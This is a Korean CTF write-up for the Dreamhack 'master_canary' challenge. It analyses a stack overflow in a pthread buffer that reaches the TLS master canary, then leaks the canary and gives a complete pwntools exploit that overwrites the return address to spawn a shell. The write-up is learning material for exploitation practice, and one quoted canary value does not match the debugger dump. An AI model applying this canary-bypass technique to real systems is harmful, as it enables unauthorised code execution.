checksec
└─# checksec master_canary
[*] '/root/dream/master_canary/master_canary'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
NX, SSP가 적용됐다.
문제분석
// gcc -o master master.c -pthread
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <pthread.h>
char *global_buffer;
void get_shell() {
system("/bin/sh");
}
void *thread_routine() {
char buf[256];
global_buffer = buf;
}
void read_bytes(char *buf, size_t size) {
size_t sz = 0;
size_t idx = 0;
size_t tmp;
while (sz < size) {
tmp = read(0, &buf[idx], 1);
if (tmp != 1) {
exit(-1);
}
idx += 1;
sz += 1;
}
return;
}
int main(int argc, char *argv[]) {
size_t size;
pthread_t thread_t;
size_t idx;
char leave_comment[32];
initialize();
while(1) {
printf("1. Create thread\n");
printf("2. Input\n");
printf("3. Exit\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
if (pthread_create(&thread_t, NULL, thread_routine, NULL) < 0)
{
perror("thread create error");
exit(0);
}
break;
case 2:
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
read_bytes(global_buffer, size);
printf("Data: %s", global_buffer);
break;
case 3:
printf("Leave comment: ");
read(0, leave_comment, 1024);
return 0;
default:
printf("Nope\n");
break;
}
}
return 0;
}
코드 분석
case 1
:thread_routine()
을 쓰레드로 실행case 2
:*global_buffer
에 임의의 size만큼을 입력하고 저장case 3
:leave_comment[32]
에 1024바이트만큼 입력하고 저장
master.c
에서 2가지 취약점이 발생할 수 있다.
- leave_comment[32]에 대한 입력값 검증이 없으므로 BOF 가능
- case 2를 보면
*global_buffer
에 size를 지정하고 입력할 수 있고 case 1)의thread_routine()
에서 buf 크기가 256 바이트라는 것을 알 수 있다. → 즉, buf를 통해 BOF 가능
BOF가 발생한다는 것은 알았다. 하지만 SSP 보호기법이 적용되어 canary가 존재함으로 우회해야한다.
보통 canary를 우회하는 문제면 canary를 leak하고 exploit 하는 것이 절차다.
하지만 canary를 알아낼만한 부분이 보이지 않는다. 따라서 다른 방법으로 canary를 우회해야한다.
이용할 수 있는 방법은 master canary를 이용하는 방법이다.
master canary에 대한 개념을 이해해보자.
case 1:
if (pthread_create(&thread_t, NULL, thread_routine, NULL) < 0)
{
perror("thread create error");
exit(0);
}
break;
master.c
의 case 1
을 보면 pthread
함수를 사용한다.
pthread
함수로 실행되는 thread_routine()
의 메모리 공간은 스택에서 TLS 영역과 인접한 영역에 할당된다.
만약, 해당 함수에서 BOF가 발생한다면 TLS 영역에 접근할 수 있다. 마침 길이에 대한 검증이 없으므로 BOF가 가능하다.
정리하자면, thread_routine()
에 정의된 buf는 TLS 영역과 인접한 공간에 위치하고 BOF가 가능하므로 TLS 영역에 저장된 master canary에 접근할 수 있다.
마침 printf("Data: %s", global_buffer);
로 global_buffer
데이터를 출력해준다.
우리가 할 수 있는 것은 master canary 전까지 데이터를 모두 "\x90"
으로 덮어씌우고 master canary를 printf()
로 출력하는 것이다.
문제풀이
공격 시나리오를 작성해보자.
○ 공격 시나리오
case 1
으로 쓰레드 함수인thread_routine()
이 실행하고*global_buffer = buf
가 되도록 유도case 2
의global_buffer = buf
를 이용해 BOF를 트리거- Leak Canary
case 3
의leave_comment
를 이용해 BOF 트리거get_shell addr
로 RET Overwrite
get_shell()
실행
0x0000000000400c39 <+308>: lea rax,[rbp-0x30]
0x0000000000400c3d <+312>: mov edx,0x400
0x0000000000400c42 <+317>: mov rsi,rax
0x0000000000400c45 <+320>: mov edi,0x0
0x0000000000400c4a <+325>: call 0x400860 <read@plt>
leave_comment
위치를 확인해보자.
read(0, leave_comment, 1024)
의 asm 코드다. [rbp - 0x30]
가 leave_comment
위치임을 알 수 있다.
pwndbg> disass thread_routine
Dump of assembler code for function thread_routine:
0x0000000000400a5b <+0>: push rbp
0x0000000000400a5c <+1>: mov rbp,rsp
0x0000000000400a5f <+4>: sub rsp,0x110
0x0000000000400a66 <+11>: mov rax,QWORD PTR fs:0x28
0x0000000000400a6f <+20>: mov QWORD PTR [rbp-0x8],rax
0x0000000000400a73 <+24>: xor eax,eax
0x0000000000400a75 <+26>: lea rax,[rbp-0x110]
0x0000000000400a7c <+33>: mov QWORD PTR [rip+0x20162d],rax # 0x6020b0 <global_buffer>
0x0000000000400a83 <+40>: nop
0x0000000000400a84 <+41>: mov rdx,QWORD PTR [rbp-0x8]
0x0000000000400a88 <+45>: xor rdx,QWORD PTR fs:0x28
0x0000000000400a91 <+54>: je 0x400a98 <thread_routine+61>
0x0000000000400a93 <+56>: call 0x400820 <__stack_chk_fail@plt>
0x0000000000400a98 <+61>: leave
0x0000000000400a99 <+62>: ret
thread_routine()
의 asm 코드다.
<thread_routine + 11>
과 <thread_routine + 20>
을 보면 fs:0x28
로부터 canary를 가져와서 [rbp - 0x8]
위치에 저장한다.
○ TSL & Stack Canary
pwndbg> x/16gx $fs_base+0x28
0x7ffff7dbc6e8: 0x2a093388ebbda400 0xc59f887a04b23b31
pwndbg> x/16gx $rbp-0x8
0x7ffff7dbbec8: 0x2a093388ebbda400 0x0000000000000000
thread_routine()
에 break point를 걸고 확인한 결과다.
thread_routine()
스택 영역에서 저장되는 canary 값과 TSL 영역에 저장된 canary를 비교하면 0xac700a8dadf2aa00
로 canary가 동일한 것을 확인할 수 있다.
0x0000000000400a75 <+26>: lea rax,[rbp-0x110]
추가로 <thread_routine + 26>
보면 global_buffer = buf
코드를 실행하는 부분인데, [rbp - 0x110]
이 buf 위치라는 것을 알 수 있다.
pwndbg> p 0x7ffff7dbc6e8 - 0x7ffff7dbbdc0
$1 = 2344
위에서 구한 TSL 영역의 canary 위치와 buf 위치를 연산한 결과다.
2344 Byte만큼 크기 차이가 나는 것을 알 수 있다.
○ Leak Canary
b"\x90" * 2345
payload는 위와 같이 작성할 수 있다.
TLS 영역의 canary 이전까지 "\x90"
으로 덮어씌우고 printf()
로 canary를 출력한다.
"\x90"
을 2344 + 1
바이트 덮어씌운 이유는 canary 첫 바이트가 "\x00"
이므로 같이 덮어씌워야 printf()
로 canary가 모두 출력되기 때문이다.
payload로 canary를 알아내고 leave_comment
를 통해 RET을 덮어씌우면 쉘을 얻을 수 있다.
주의할 점은 buf ~ TLS canary
거리를 실제 서버는 환경인 ubuntu 16.04
버전에서 확인해야한다.
이전에 구한 거리는 kali linux 환경이었다. 따라서 정확한 거리를 구하려면 ubuntu 16.04
버전에서 디버깅해야한다.
(gdb) p $rbp-0x110
$1 = (void *) 0x7f9c5e404e40
(gdb) x/16gx $fs_base+0x28
0x7f9c5e405728: 0xb8c59b8a5a4e9c00 0xca7d0cef7e25edc5
<thread_routine + 45>
에 break를 걸고 위와 같이 buf
와 TSL canary
위치를 구했다.
참고로 $fs_base
는 gdb 8.0
이상 버전에서만 사용할 수 있다.
ubuntu 16.04
는 기본적으로 gdb 7 버전을 사용함으로 reference
에 링크로 남긴 gdb 8.0 설치
를 참고해서 설치하고 디버깅해보길 바란다.
(gdb) p 0x7f9c5e405728 - 0x7f9c5e404e40
$3 = 2280
주소를 연산하면 2280 이라는 거리가 나온다.
TSL Canary를 얻어내는 payload를 작성하면 다음과 같다.
b"\x90" * 2281
payload를 전송하면 위와 같이 canary를 얻을 수 있다.
exploit
from pwn import *
import warnings
warnings.filterwarnings( 'ignore' )
def create_thread():
p.sendlineafter("> ", "1")
def input_buf():
payload = b"\x90"*2281
p.sendlineafter("> ", "2")
p.sendlineafter("Size: ", str(2281))
p.sendlineafter("Data: ", payload)
def exploit(canary):
payload = b"\x90"*40 + p64(canary) + b"\x90"*8 + p64(e.symbols["get_shell"])
p.sendlineafter("> ", "3")
p.sendlineafter("Leave comment: ", payload)
p = remote('host3.dreamhack.games',24099)
e = ELF("./master_canary")
create_thread()
input_buf()
p.recvuntil("Data: ")
p.recv(2281)
canary = u64(b"\x00"+p.recv(7))
log.info("canary : "+hex(canary))
exploit(canary)
p.interactive()
canary를 알아낸 후, SSP를 우회하면서 RET을 get_shell()
주소로 덮어씌워서 쉘을 획득하는 코드다.
payload = b"\x90"*40 + p64(canary) + b"\x90"*8 + p64(e.symbols["get_shell"])
payload는 위와 같이 작성했다.
코드를 실행해보자.
reference
[dreamhack] - Master canary
https://hoong2.tistory.com/entry/how-to-install-gdb-80-peda-on-ubuntu